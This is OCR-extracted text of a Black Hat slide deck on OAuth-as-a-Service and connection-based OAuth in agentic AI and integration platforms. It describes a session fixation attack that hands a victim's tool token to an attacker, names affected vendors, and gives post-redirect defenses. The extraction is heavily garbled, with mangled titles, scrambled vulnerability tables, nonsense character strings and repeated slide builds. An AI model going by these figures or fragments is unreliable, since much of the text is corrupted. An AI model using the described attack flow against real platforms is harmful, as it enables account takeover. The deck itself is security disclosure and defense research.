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Background:
* Integration Platform, Agentic Al Ecosystem
« OAuth-based delegation of Tool access by Users to Integration Platforms & Al Agents
« The new OAuth-as-a-Service (OaaS) paradigm to ease 3'd-party Agent developments

Key Concepts behind OaasS:
« Technical details of the non-standard, yet increasingly popular, Connection-based OAuth
Architectures for realizing OaaS
Classic Web Attacks resurrected by Connection-based OAuth:
« Cross-Agent/ Cross-Tool/ Cross-User Confused Deputy, Session Fixation, Open Redirect
« Mitigations and the Intricacies required to get them right

Real-World Impact:
« Case Study, Demo and Evaluation

Reflections and Summary:
+ Key Takeaways
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blackhat Previously [BHUSA24]: the Pre-Agentic Al'Era-

Handful of Big-name
Integration Platforms

Q"JﬁCZfoJmZ [

) Google Home @ % ﬁ M
PHILIPS

= h o

D ¢

Many Tools
d lexa (a.k.a. Integrations)

* Users delegate Tool access/control to a handful of
Integration Platforms built-by Big-name Service providers.

[BHUSA '24] Kaixuan Luo et al. One Hack to Rule Them All: Pervasive Account Takeovers in Integration Platforms for Workflow Automation, Virtual Voice

Assistant, loT, & LLM Services. https://www.youtube.com/watch?v=arHEBElig3c
4
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blackhat Trending: The Era of Agentic Al
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* Inthe Era of Agentic Al, many 3'd-party developers Many Tools
will build various Agents to serve their customers. (a.k.a. Integrations)

* Customers will delegate Tool access/control to these
different 3"-party Agents.

PHILIPS

hue

Many 39-party Agents




blackhat The Emergence of Agentic Al Platforms /

* Emerging Agentic Al Platforms are busy positioning Many Tools
themselves to facilitate 37-party Agent developments. (a.k.a. Integrations)

Microsoft G 1| ByteDance leups
Copllot Studio [ coze a

Agentic Al Platforms




0 . User delegafes Tool access/control to

blaeﬁg'n%g Integration Platforms and Many Agents |

Handful of Big-name
Integration Platforms

Microsoft ,
Power Automate L M
) Google Home @ % G
PHILIPS
Agentic Al Platforms @ .
Microsoft d :
Copilot Studio ¢ Composio | ‘ :’

Many Tools
d lexa (a.k.a. Integrations)

Many, many 3"-party Agents

- 636D
...... b.w. %




£ - OAuth - the i\ndustry standard for delegating

Pt Tool access/control to Integration Platforms / Agents

OAuth-based Account Linking
in Integration Platforms [BHUSA'24]

Integration

3rd-party Agents still need

OAuth tokens!
3rd-party

- -

Platform Tools Agents Tools
------------------------------------------ I S —
Store & Manage Every Agent needs
tokens its per-Tool tokens Access tokens

alexa
S

e
o= O

OAuth remains indispensable for Users to

An Integration Platform manages
Tool-access Tokens for every end-user
using OAuth — the industry standard

delegate Tool Access | Control to 3™-party Agents

[BHUSA '24] Kaixuan Luo et al. One Hack to Rule Them All: Pervasive Account
Takeovers in Integration Platforms for Workflow Automation, Virtual Voice
Assistant, 10T, & LLM Services. https://www.youtube.com/watch?v=qgrHEBElig3c 8
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£ BHUSA '24 Findings on OAuth-related /

blackhat B 2
BRIEFINGS Vulnerabilities w/ Integration Platforms
OAU t h - based ACCO un t M iS' Li n ki n g Type  Platform 7 Users open?CroségKIq)? Attac(l:(ORF OAizﬁsss-eusss?znAbEti:l:ion
. A 30M MAU v ® ®
B'_g name 7 Workflow [ o 7 =
Integration Platforms Tools Automation ST o
"""""""""""""""""""""" Platforms e % /?fgs y 3 ®
Access tokens G 40K N/A ®
Store & Manage H 500M MAU | v ®
tokens 6 Virtual SV M- ®
‘ Voice Assistants 100M v ®
L 40M v ®
M 40M v ®
l N N/A v ®
dlexd 4 Smart Homes [ MR LN, 2
) ..7 Q 50M v ®
. Type Platform 7% Users open?croségi% Attac(l:{ORF OA?lzﬁsg-;sss?cr)nA;‘tiizl:ion
Integration Platform v Plugine DR LM | v ®
manages OAuth tokens . usins B o | v ® @
T 35M ®
for its end-user U 150M MAU ®
\% N/A N/A due to ®
m w 10M Closed Marketplace @®
. . X N/A ®
* Discovered 3 Types of new attacks via (Forced) Y 200M @
Total 25 | 18/25  11/18 5/18 | 16/25

Account Mis-Linking
—> 1-Click Account Takeover or Privacy Leakage of Tools @

24/25 are vulnerable
19 can be done in 1-Click
on an unassuming link

Cross-app Attacks Cross-user Attacks

16/18 open platforms @ 16/25 platforms (@

e 24 Major Platforms in Smart Homes, Voice Assistants,
Workflow Automation, LLM-supporting-Plugins,
found to be Vulnerable 9

8 platforms vulnerable to both
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. OAuth-as-a-Service

Many 3rd-party ~ Token Manager
Agents Tools Agents (run by Agentic Al Platform) Tools
—————————————————————————————————————————————— I EEN NN NN BN NN BN BN EEN BN BN EEN BN NN EEN BN NN EEN BN NN BN B NN BN B NN BN BN BN EEN BN BN EEN B BN BN B NN BN BN NN BN B N B B .
Every Agent needs Every Agent  Store & Manage

needs its tokens tokens

its OAuth tokens OAuth tokens ::

=
o

The OAuth-as-a-Service architecture offloads
Complex, Error-prone OAuth Token Managemen
from 3"9-party Agent developers

to "Token Manager" run by Agentic Al Platforms

Need to Relieve MANY 3rd-party Agent Developers

from OAuth Intricacies !

10
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Agentic Al Platforms

&

Microsoft
Copilot Studio

OAuth-as-a-Service in Microsoft: T

Azure
Al Bot Service

WO use case
A 4 &

. Bot Framework
Token Service

'OAUTH

Build Agents Build Highly-customized Agents >

Token Manager

Integration Platforms

> ¢

Microsoft Microsoft
Power Automate/Apps Copilot Studio

Microsoft-Managed Platforms

Il. Credential Manager

(formerly known as
a Azure Token Store)

P4
Azure Azure
Logic Apps API Management

Build Custom Platforms Token Manager

11
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blackhat OAuth-as-a-Service across Indu

Agent Auth [ Al Gateway Solutions
lii! ByteDance

b Arcade = Composio Y coze T

"Al Tool-calling Platform" "Al Agent Toolset" "Al App Development Platform"
Agents Token Manager Tools
T
Use Cases: 3-party | 1stparty agents Managed (Pre-built) I~ Custom
(Custom)  owned by platform !
_h s 4=}
1o_©° ““ : Custom '
- O i
|
| 00 O "
ST WS, X
=240
SDK or Dev Portal

Every developer can build Custom Agents & Tools with vendor's SDK/Developer portal !

12
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b'aeﬁép'?@g OAuth-as-a-Service with Model Context Protocol (MCP)

MCP Authorization ... MCP Downstream Tool Authorization
(e.g., out-of-band / URL elicitation,
Draft Proposal by g4 Arcade )

MCP Client One OAuth-enabled A single MCP Server
(e.g., hosted by MCP Server MCP Client w/ Token Manager Tools
Claude Desktop) per Tool for multiple tools
Store & Manage Offload Store & Manage
tool tokens tool tokens to tool tokens

Token Manager

X

Claude Desktop

x*

Claude Desktop

https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887

13


https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887
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https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization
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blackhat  Security Challenge for Realizing OAuth-as-a-Seryice

v/ :./

BEFORE: i . Under OAuth-as-a-Service
; 3rd-part Token Manager
hgg%;-‘g ::.gn Tools E A ggntsy (run by Agentic Al Platform) Tools

Store & Manage Access tokens &
tokens ’ >4

dog S0P
-

An Integration Platform can "mostly" follow
OAuth-standards (except problems in BHUSA'24) to:
implement and take up the role of OAuth Client

Every Agent Store & Manage
needs its tokens tokens

Under OAuth-as-a-Service, the functions of OAuth Client are
now split between 3-party Agents and the Token Manager
run by Agentic Al Platform

* BUT such "split" is out of the scope of OAuth standards

manage Tool-access Tokens for every end-user
= Numerous Proprietary & Error-prone realizations in practice

served by the platform



O Our NEW Findings on the (In)Security of

blackhat Agentic Al and Integration Platforms

# Vulnerable Instances

3 New Attack Scenarios 4 Types of :
"Back to the Future" Attacks Security Impact

Session Fixation
_- Cross-user

A malicious user of a benign agent n

. targeting a benign user of Open Redirect
Agentic Al or the same agent Account Takeover
Integration Platforms

- of an end-user's tool

o explicit consent
ﬁArcade g coze n Cross-agent n Client ID Confusion e @l

: . 71 Amalicious agent Confused
£ Nango & Composio targeting a benign agent\ onfuse

Deputy
B Microsoft - / 6 Y
o n (Cross-tool OAuth
, ‘( d &5 Account Takeover) -
Power Platform A malicious tool
| Copilot Studio [ Azure __ targeting a benign tool

Classic Web Attacks which had been carefully addressed by OAuth standards
have now remanifested due to the emerging, proprietary, yet-increasingly popular

OAuth-as-a-Service Architectures in Agentic Al and Integration Platforms !
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Traditional OAuth

Agent Tools
__ Authorization Server
Need & Manage
tokens
OAuth ’
[GetFile ﬂ>

Resource Server

OAuth Roles

 OAuth Client: manage tokens’

« Authorization Server: issue tokens
 Resource Server: consume tokens

16
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Traditional OAuth
Agent

B OAuth Client

Need & Manage
tokens

3

Resource Server

OAuth Roles

 OAuth Client: manage tokens’
 Authorization Server: issue tokens
 Resource Server: consume tokens

OAuth-as-a-Service
Agent Token Manager Tools
-----------------

Need tokens Manage tokens ::
P

How to Track state /| Communicate
between Agent & Token Manager

16
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"Brokered™ OAuth

Agent Token Manager Tools
_ff
" A
-9 s
C

>
e —————— e ——————————

17



O s
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"Brokered” OAuth

Agent Token Manager Tools
-- >

3 Token | Token C
(Broker) | (Original) &
1 A

2 B
3

* Agent implements OAuth Client, fetching/ storing/ refreshing
the tokens from Token Manager (a.k.a. "OAuth Broker")

e e e e

* OAuth responsibilities remain on Agent side
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blackhat OAuth-as-a-Service: Potentlal Solutlons
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"Brokered” OAuth

Agent Token Manager Tools

"OAuth Connection“

OAuth Client | Authorization Server

Agent Token Manager Tools

A

/

),,

B
. C

3 Token | Token C 4

(Broker) | (Original) —~
1 A

2 B
3

* Agent implements OAuth Client, fetching/ storing/ refreshing
the tokens from Token Manager (a.k.a. "OAuth Broker")

e e e e

* OAuth responsibilities remain on Agent side
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"Brokered” OAuth

Agent Token Manager Tools

= “OAuth Connection“

OAuth Client | Authorization Server

Agent Token Manager Tools

-= > ---EKS Proprietary
A
Connection#1 f
Connection#2 B
A
Connection#3

3 Token | Token C Connection ID | Token —

(Broker) | (Original) 2y Connection#1 A

1 A Connection#2 B

2 B
3

* Agent implements OAuth Client, fetching/ storing/ refreshing
the tokens from Token Manager (a.k.a. "OAuth Broker")

Connection#3 P C

Token Manager handles tokens' lifecycle for Agent
Agent keeps non-secret Connection IDs,

e e e e

instead of storing secrets (tokens)

* OAuth responsibilities remain on Agent side OAuth logic fully abstracted away on Agent side
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blackhat  OAuth Connection .

Connection = <tool, agent, user>

Connection @

Connection ID, (Primary Key)
Tool ID,

Agent ID,

User ID,

OAuth Tokenp

OAuth Connection:
A preconfigured handle for a managed OAuth token 'D
* issued by a particular tool

« to a specific agent
« for a specific end-user

18



blackhat  OAuth Protocol Flow (in Traditional OAuth)
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OAuth Client

OAuth Roles @ @

 OAuth Client: manage tokens ﬁ Browser Agent Backend

 Authorization Server: issue tokens |

Authorization Server

 Resource Server: consume tokens

L)

» Browser: user interaction

L)

Resource Server

[GetFile AA(X:;SS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

 Authorization Server: issue tokens

% =

Browser Agent Backend Tool

 Resource Server: consume tokens

L)

» Browser: user interaction

L)

Resource Server

||
[GetFile ﬁ“j{ﬁss
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
 Authorization Server: issue tokens (D Start OAuth S
« Resource Server: consume tokens
“ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback

>
Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
« Authorization Server: issue tokens @) Start OAuth S
« Resource Server: consume tokens
“ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback S
Authorize

Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool

 Authorization Server: issue tokens @ Start OAuth S

« Resource Server: consume tokens

s Browser: user interaction [OAuth URL (2) /authorize?redirect_uri=/callback s T
when w/

Resource Server

||
[GetFile ﬁ“ﬁﬁss
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
« Authorization Server: issue tokens @) Start OAuth S
« Resource Server: consume tokens
“ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback S
Authorize

Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
 Authorization Server: issue tokens @) Start OAuth S
« Resource Server: consume tokens
“ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback S
Authorize
Redirect (3) /callback?code=code
>

Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
 Authorization Server: issue tokens (D Start OAuth S
« Resource Server: consume tokens
s+ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback state=state
Authorize
Redirect (3) /callback?code=code &state=state
>

Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool
 Authorization Server: issue tokens (D Start OAuth S
« Resource Server: consume tokens
s+ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback state=state
Authorize
Redirect (3) /callback?code=code &state=state
>

(@) itoken with cod)e Code

Exchange

<€
(5) access token) ——

Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

19
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Authorization Server

OAuth Roles
- OAuth Client: manage tokens ﬁ

% =

Browser Agent Backend Tool

« Authorization Server: issue tokens (D Start OAuth S

user session
« Resource Server: consume tokens
s+ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback state=state

Authorize
Redirect (3) /callback?code=code &state=state
user session >

Code
Exchange

<€
(5) access token) ——

tokenlinkedto | = = = = = = =
user's identity Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

(@) /token with cod)e

19
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blackhat  QAuth Protocol Flow (in Traditional OAuth)

OAuth Roles @ (:—E}

- OAuth Client: manage tokens ﬁ

Authorization Server

Browser Agent Backend Tool
- Authorization Server: issue tokens @ Start OAuth .
user session | Generate state,

° Resource Server: consume tokens bound to user session

|
s+ Browser: user interaction [OAuth URL (2 /authorize?redirect_uri=/callback state=state

Authorize
Redirect (3) /callback?code=code &state=state
.

user session | Verify state-
user session binding @ Jtoken with code

<€
I (5) access token)

tokenlinkedto | = = = = = = =
user's identity Resource Server

||
[GetFile ﬁAcXﬁSS
N

OAuth 2.0 Authorization Code Grant Flow

Code
Exchange

19



bibexnat Retrofitting "Connection” to OAuth ~
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~===1

Pre-OAuth @

OAuth

Post-OAuth (Runtime)

20
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black hat Retroflttmg “Connectlon" to OAuth / :
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~===1

Pre-OAuth é}
Generate a placeholder connection A

Pre-OAuth

ddConnection

OAuth

Post-OAuth (Runtime)

20



bibexnat Retrofitting "Connection” to OAuth ~
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~—===7

Pre-OAuth @
Generate a placeholder connection A

- Tool ID: identify the tool Pre-OAuth o0l ID. User ID
- User ID: identify the end-user + API KEY

- API KEY: identify & authenticate
each agent (developer)

ddConnection

OAuth

Post-OAuth (Runtime)

20
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~—===7

Pre-OAuth é}
Generate a placeholder connection A

ddConnection
- Tool ID: identify the tool Pre-OAuth L
- User ID: identify the end-user * Tool ID, User ID Connection ID | Token
. Y + APIKEY Connection#1

- API KEY: identify & authenticate
e Connection ID=#1
each agent (developer) * OAuth URL=/authorize
Return Connection ID & OAuth URL

OAuth

Post-OAuth (Runtime)

20



o

blackhat Retroflttmg “Connectlon" to OAuth / :

BRIEFINGS
OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~===1

Pre-OAuth é}
Generate a placeholder connection A

- Tool ID: identify the tool Pre-OAuth
. : * Tool ID, User ID  Connection ID | Token
- User ID: identify the end-user + API KEY Connection#1

- API KEY: identify & authenticate Conmection Dol
¢* Connection ID=
each agent (developer) - OAuth URL=/authorize
Return Connection ID & OAuth URL OAuth | [~ T LT T T T T T T A

ddConnection

OAuth
- Establish an OAuth flow

Post-OAuth (Runtime)

20
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~—===7

Pre-OAuth é}
Generate a placeholder connection A

ddConnection
- Tool ID: identify the tool Pre-OAuth [ ]
. : * Tool ID, User ID  Connection ID | Token
- User ID: identify the end-user + API KEY Connection#1
- API KEY: identify & authenticate e
¢* Connection ID=
each agent (developer) * OAuth URL=/authorize
Return Connection ID & OAuth URL OAuth | [~~~ =~ === == CITTW TITTTTTTTT AT
OAuth Connection ID | Token
_ Establish an OAuth flow Semsslonid

- Bind resulting token to the Connection

Post-OAuth (Runtime)

20



blackhat Retroflttlng “Connectlon" to OAuth /
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~===1

Pre-OAuth Q

Generate a placeholder connection IAddConnection

- Tool ID: identify the tool Pre-OAuth [ ]

- User ID: identify the end-user N i R

- API KEY: identify & authenticate ,

each agent (developer) . Ot Ut ~fouthorize

Return Connection ID & OAuth URL OAuth | [~~~ "~~~ = ===l iTW T AT
OAuth Connection ID | Token

- Establish an OAuth flow vost-oAuth @~~~ Connection#! @ -------

- Bind resulting token to the Connection Pattern 1

Post-OAuth (Runtime)
Use Connection to make authorized API calls

20
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~—===7

Pre-OAuth é}
Generate a placeholder connection A

ddConnection

- Tool ID: identify the tool Pre-OAuth _
i . v th J- * Tool ID, User ID Connection ID | Token
User ID: identify the end-user + AP| KEY Connection#1
- API KEY: identify & authenticate
* C tion ID=#1
each agent (developer) . O?AZ’;ZCU;’L?:/authorize

Return Connection ID & OAuth URL OAuth | [~~~ =~~~ == =TTTTIITWN TIITTTTTTT AT

OAuth Connection ID | Token
: S Connection#1 (o . ____
- Egtabllsh an OAuth flow | Post-OAuth IGetToken ﬁ
- Bind resulting token to the Connection Pattern 1 | >
* Connection ID=#1
. + API KEY

Post-OAuth (Runtime) % ﬁ

Use Connection to make authorized API calls IGetFile Resource Server

- [Pattern 1] Agent calls API w/ cached tokens | ﬁ

20



blackhat Retroflttlng “Connectlon" to OAuth /
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OAuth Client m Authorization Server

Connection = <tool, agent, user>  ~===1

Pre-OAuth Q

Generate a placeholder connection IAddConnection

- Tool ID: identify the tool Pre-OAuth [ ]

- User ID: identify the end-user N i R

- API KEY: identify & authenticate ,

each agent (developer) . Ot Ut ~fouthorize

Return Connection ID & OAuth URL OAuth | [~~~ "~~~ = ===l iTW T AT
OAuth Connection ID | Token

- Establish an OAuth flow vost-oAuth @~~~ Connection#! @ -------

- Bind resulting token to the Connection Pattern 2

Post-OAuth (Runtime)
Use Connection to make authorized API calls

21
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Retrofitting

Connection = <tool, agent, user>

OAuth Client m Authorization Server

Pre-OAuth {:_IE)
Generate a placeholder connection IAddConnection
- Tool ID: identify the tool Pre-OAuth
. : * Tool ID, User ID Connection ID | Token
- User ID: identify the end-user + API KEY Connection#1
- API KEY: identify & authenticate E—
¢* Connection ID=
each agent (developer) * OAuth URL=/authorize
Return Connection ID & OAuth URL OAuth | [~~~ =~ === == CITTW TITTTTTTTT AT
OAuth Connection ID | Token
- Establish an OAuth flow Post-OAuth | | Teemie T wonnectonl g -------
- Bind resulting token to the Connection Pattern 2 T #1> Resource Server
* Connection iD=
+ API KEY [|GetFile
Post-OAuth (Runtime) | p >

Use Connection to make authorized API calls

- [Pattern 2] Token Manager forwards
Agent's API call w/ tokens attached

Token Manager may adopt
either options to facilitate API calls

21
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blackhat Connection-based OAuth: Normal Coordinétioh

OAuth Client Authorization Server

€Cq o)

Browser Agent Backend  Token Manager Tool

22
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blackhat Connection-based OAuth: Normal Coordinatio

OAuth Client Authorization Server

€Cq o)

Browser Agent Backend  Token Manager Tool

(D Start OAuth
user session

(2) /authorize? state=state

>

Authorize

(3) /callback?code=code &state=state

(@) /token with code)

<€
(5) access tokenﬁ

token linked to
user's connection

Code
Exchange

22
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based OAuth: Normal Coordinatio

blackhat Connection-

BRIEFINGS

OAuth Client Authorization Server

Ce ¢
Tool

Browser Agent Backend Token Manager
(D Start OAuth
user session |[AddConnection Generate connection
bound to user’s identity
Generate state, .
OAuth URL bound to connection
=/authorize
(2) /authorize? state=state
> .
Authorize

(3) /callback?code=code &state=state

(@) ftoken with code) S

<€ Exchange
(5) access tokenﬁ J

token linked to
user's connection

22



blackhat Connection-based OAuth: Normal Coordinatio

BRIEFINGS

. . OAuth Client Authorization Server
Agent’s Perspective

*  Query Token Manager @ (:_"'E} oAuTH
to generate an OAuth URL [2)] g

. Send the OAuth URL to user Browser Agent Backend  Token Manager Tool
« User completes OAuth (D) Start OAuth
« Token sent to Token Manager user session [AddConnection, FGenerate connection,
bound to user’s identity
5 Generate state,

Token Manager's Perspective OAuth URL | ound to connection
« Connection manifests as an =/authorize

a.uthorlzatlon session, tracked ) /authorize? state=state

via state parameter in OAuth flow > | Authorize

(3) /callback?code=code &state=state) .
: i

End-user's Perspective @) ftoken with code [ Gods
« Same user experience as in <€ ® acoess token Exchange

traditional OAuth e

user's connection

* "Proprietary" part is opaque L

22



BRIEFINGS

blackhat Attack Typé 1 - Session l?‘ixati.on
Tool

Connection = <tool, agent, user>

Token Manager
Agent

o =
)

Expectation (End-user's Perspective):

WA

o My authorization for an agent should not go to another user
served by the same agent.

Reality:

o NEHLHEIHI® Session Fixation
23




BRIEFINGS

blackhat Attack Type 1 - Session Fixation
Tool

Connection = <tool, agent, user>

Token Manager
Agent

)

Expectation (End-user's Perspective):

o My authorization for an agent should not go to another user
served by the same agent. D'

Reality: %

o R SHFIH-IM Session Fixation Attacker (3) Logged in Victim
23 as Victim

essionlD=attacker

K O @ Login

under sessionID




O &

BRIEFINGS

blackhat Session Fixation; Attack,

24



blackhat Session Fixation; Attack,

BRIEFINGS

¢ =

> Generate connection,

(D Start OAuth

... Generate state,
(2) /authorize?|state=state bound to connection

authorization session

24



blackhat Session F|xatjon; Attack

BRIEFINGS

OAuth Client @ Authorization Server

@& s

0‘0
Attacker S Victim's

Browser Browser Agent Backend Token Manager Tool
(D Start OAuth ]
> Generate connection,

... Generate state,
(2) /authorize?|state=state bound to connection

authorization session

24



blackhat Session Fixation: Attack

OAuth Client @ Authorization Server

 Attacker initiates OAUth, % % @ OAUTH "

*

Attacker Victim's
mwseers Browser Agent Backend Token Manager Tool
(D Start OAuth ]
ttacker . > Generate connection,
attackers session bound to attacker
[O Auth URL authorization session  [Genorate stafl
(2) /authorize?|state=state bound to connection

24



BRIEFINGS

blackhat Session Fixatjon; Attack

OAuth Client @ Authorization Server

o Attacker initiates OAuth,
- - - - OAUTH
fixating an authorization
session to victim's Browser Atf%%lv(seé'rs g;gmesr Agent Backend Token Manager Tool

(D Start OAuth ]

ttacker' i > Generate connection,
attacrers session bound to attacker

Generate state,
(2) /authorize?|state=state bound to connection

(by sharing an OAuth URL)

authorization session

[OAuth URL

Send OAuth URL
(@) to Victim

dropbox.com
/authorize

24
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BRIEFINGS

blackhat Session Fixatjon; Attack

OAuth Client @ Authorization Server

 Attacker initiates OAuth, A
fixating an authorization
session to victim's Browser Attacker's Mletim's Agent Backend  Token Manager Tool

(D Start OAuth [ ]

ttacker' i > Generate connection,
attacrers session bound to attacker

(by sharing an OAuth URL)

* Victim (unknowingly)
completes OAuth

[O Auth URL authorization session . Generate stat:
(2) /authorize?|state=state bound to connection
Send OAuth URL
(@) to Victim
dropbox.com (2) /authorize? state=state Aot
/authorize > A&tgo?ri-;e
(3) /callback?code=code &state=state
> [ N ]

24
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BRIEFINGS

blackhat Session F|xation; Attack

« Attacker initiates OAuth,

fixating an authorization % % {é}
session to victim's Browser Attackers
(by sharing an OAuth URL) Browser

* Victim (unknowingly)

(D Start OAuth

Victim's

B

5 Vulnerable Instances ™

’ : AI 1 g coze ...
P nango &£ Composio

OAuth Client @ Authorization Server

Browser Agent Backend Token Manager Tool
> Generate connection,

completes OAuth

[OAuth URL

« Attacker gains access to
victim's OAuth token

= Lead to account takeover
of the victim's tool !

attacker's session

bound to attacker

authorization session ... | Generate stat:
() /authorize?|state=state bound to connection
Send OAuth URL
() to Victim
dropbox.com (2) /authorize? state=state (Aut
/authorize > Autgo?ri-;e
(3) /callback?code=code &state=state
> [ N ]

24

Victim's token linked to
attacker's connection



blackhat Session Fixation: Defense

BRIEFINGS
¢ @)

Browser Agent Backend Token Manager Tool

OAuth Client

Authorize

25



BRIEFINGS

High-level idea @ {:—E}

» Verify: the user that initiates OAuth Browser ke >
== the user that completes OAuth. Agent Backend oken Wanager 00

blackhat Session Fixation: Defense

OAuth Client

Authorize

25



blackhat Session Fixation: Defense

BRIEFINGS

High-level idea @ {:—E}

» Verify: the user that initiates OAuth Browser
== the user that completes OAuth. Agent Backend  Token Manager Tool

OAuth Client

@ Start OAuth Generate connection,
user session bound to user’s identity
Generate state,
OAuth URL

(2) /authorize?state=state bound to connection

> Authorize

25



BRIEFINGS

High-level idea @ (:—E}

« Verify: the user that initiates OAuth

blackhat Session Fixation: Defense

OAuth Client

Browser Agent Backend Token Manager Tool
== the user that completes OAuth. J M g
@ Start OAuth Generate connection,
user session bound to user's identity
cee Generate state,
OAuth URL (2) /authorize? state=state bound to connection
> Authorize

(3) /callback?code=code &state=state

Redirect
. - >
Cannot verify user session

25



BRIEFINGS

blackhat Session Fixation: Defense

High-level idea @

« Verify: the user that initiates OAuth
== the user that completes OAuth.

OAuth Client

)

Fix strategy: "Post-Redirect pattern”

Browser Agent Backend Token Manager
@ Start OAuth Generate connection,
user session bound to user's identity

Generate state,

« Token Manager additionally redirect Ohuth U

bound to connection

(2) /authorize? state=state

Tool

to Agent Backend, asking for the Redirect

(3) /callback?code=code &state=state

active user id for verification.

- - >
Cannot verify user session

Post-
Redirect

25

Authorize




O

black hat
BRIEFINGS

Session Fixation: Defense

High-level idea @

« Verify: the user that initiates OAuth

OAuth Client

)

Browser A Back Token Manager Tool
== the user that completes OAuth. gent Backend O g
@ Start OAuth Generate connection,
Fix strategy: "Post-Redirect pattern” user session bound to user's identity
OAuth URL Generate state,
yn . ut : bound to connection
- Token Manager additionally redirect (2) /authorize?state=state —
to Agent Backend, asking for the 2 |Authorize
. 9 i T g_ Redirect @ /callback?code=code &state=state>
active user id for verification. Cannot verify user session
Post-
Redirect user session > Verify s‘;:%%g

25



BRIEFINGS

blackhat Session Fixation: Defense

High-level idea @

Fix strategy: "Post-Redirect pattern”

Verify: the user that initiates OAuth

== the user that completes OAuth.
(D Start OAuth

OAuth Client

)

Browser Agent Backend Token Manager

Generate connection,

user session

bound to user’s identity
Generate state,

Token Manager additionally redirect Ohuth U

(2) /authorize? state=state

bound to connection

Tool

to Agent Backend, asking for the

Redirect

(3) /callback?code=code &state=state

active user id for verification.

>

Cannot verify user session

Agent Backend sets up post-callback endpoint ' Defense Option#1

Token Manager redirects browser to Post- || /host_callback?code=code &state=state

this endpoint after initial callback Redirect i T or SeoSiOn <code, state> S Verify sg:‘% - g
Agent Backend extracts from user , + API KEY

session, submitting it along with credentials

Token Manager verifies binding between
authorization session and

25

Authorize




blackhat Session Fixation: Defense

High-level idea

Fix strategy: "Post-Redirect pattern”

BRIEFINGS

Verify: the user that initiates OAuth
== the user that completes OAuth.

Token Manager additionally redirect Ohuth Y&

to Agent Bac_:kend, as.k.mg.for the Redirect
active user id for verification.

Agent Backend sets up post-callback endpoint ' Defense Option#1

Token Manager redirects browser to Post- || /host_callback?code=code &state=state

this endpoint after initial callback Redirect| ————eesion | | <code, state>

Agent Backend extracts from user : + APl KEY

session, submitting it along with credentials T T T T T S F
Defense Option#2 Generate

Token Manager verifies binding between
authorization session and

e &

(2) /authorize? state=state

OAuth Client

Browser Agent Backend Token Manager
@ Start OAuth Generate connection,
user session bound to user's identity

ces Generate state,

bound to connection

Tool

(3) /callback?code=code &state=state>
Cannot verify user session

/post_callback?nonce=nonce

- >
user session nonce

+ APl KEY

Verify state —
binding

nonce,

bound to state

Verify nonce —
binding

Authorize




blackhat Session Fixation: Defense

BRIEFINGS

High-level idea € (:—E}

» Verify: the user that initiates OAuth Browser Token M
== the user that completes OAuth. Agent Backend oken manager Tool

OAuth Client

@ Start OAuth Generate connection,
Fix strategy: "Post-Redirect pattern" user session bound to user's identity
cee Generate state,
OAuth URL bound to connection

+ Token Manager additionally redirect (2) /authorize?state=state

to Agent Bac_:kend, as.k.mg.for the Redirect
active user id for verification.

> Authorize

(3) /callback?code=code &state=state>
Cannot verify user session

1) Agent Backend sets up post-callback endpoint ' Defense Option#1 !

2) Token Manager redirects browser to POSi:' : /post_ca”back?code=code &state=state :

this endpoint after initial callback Redirect ' eer session > <code, state> S Verify sﬁ:‘% - i

3) Agent Backend extracts from user ! + API KEY 9]

session, submitting it along with credentials S ST TS TTTTTTT T T T - 1
Defense Option#2 Generate nonce,

4) Token Manager verifies binding between
authorization session and

bound to stafe
/post_callback?nonce=nonce

Verify nonce —

>
user session nonce
! binding

+ API KEY
responsibilities for Security Purposes ! e

Agent still needs to take up certain OAuth
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BRIEFINGS

blackhat §Session Fixat\io‘nmay also exist in MCP

MCP Downstream Tool Authorization
(e.g., out-of-band / URL elicitation,
Draft Proposal by §4 Arcade )

. Token Manager
Agent Token Manager Tool MCP Client within MCP Server Tool

--------------- OAuth Client ggla Authorization Server [ulaiiiabeibitbebibebeebebebls  OAuth Client mmimiml Authorization Server
OAuth URL OAuth URL
for a user m
(€D
J¥¢ Claude

for a user
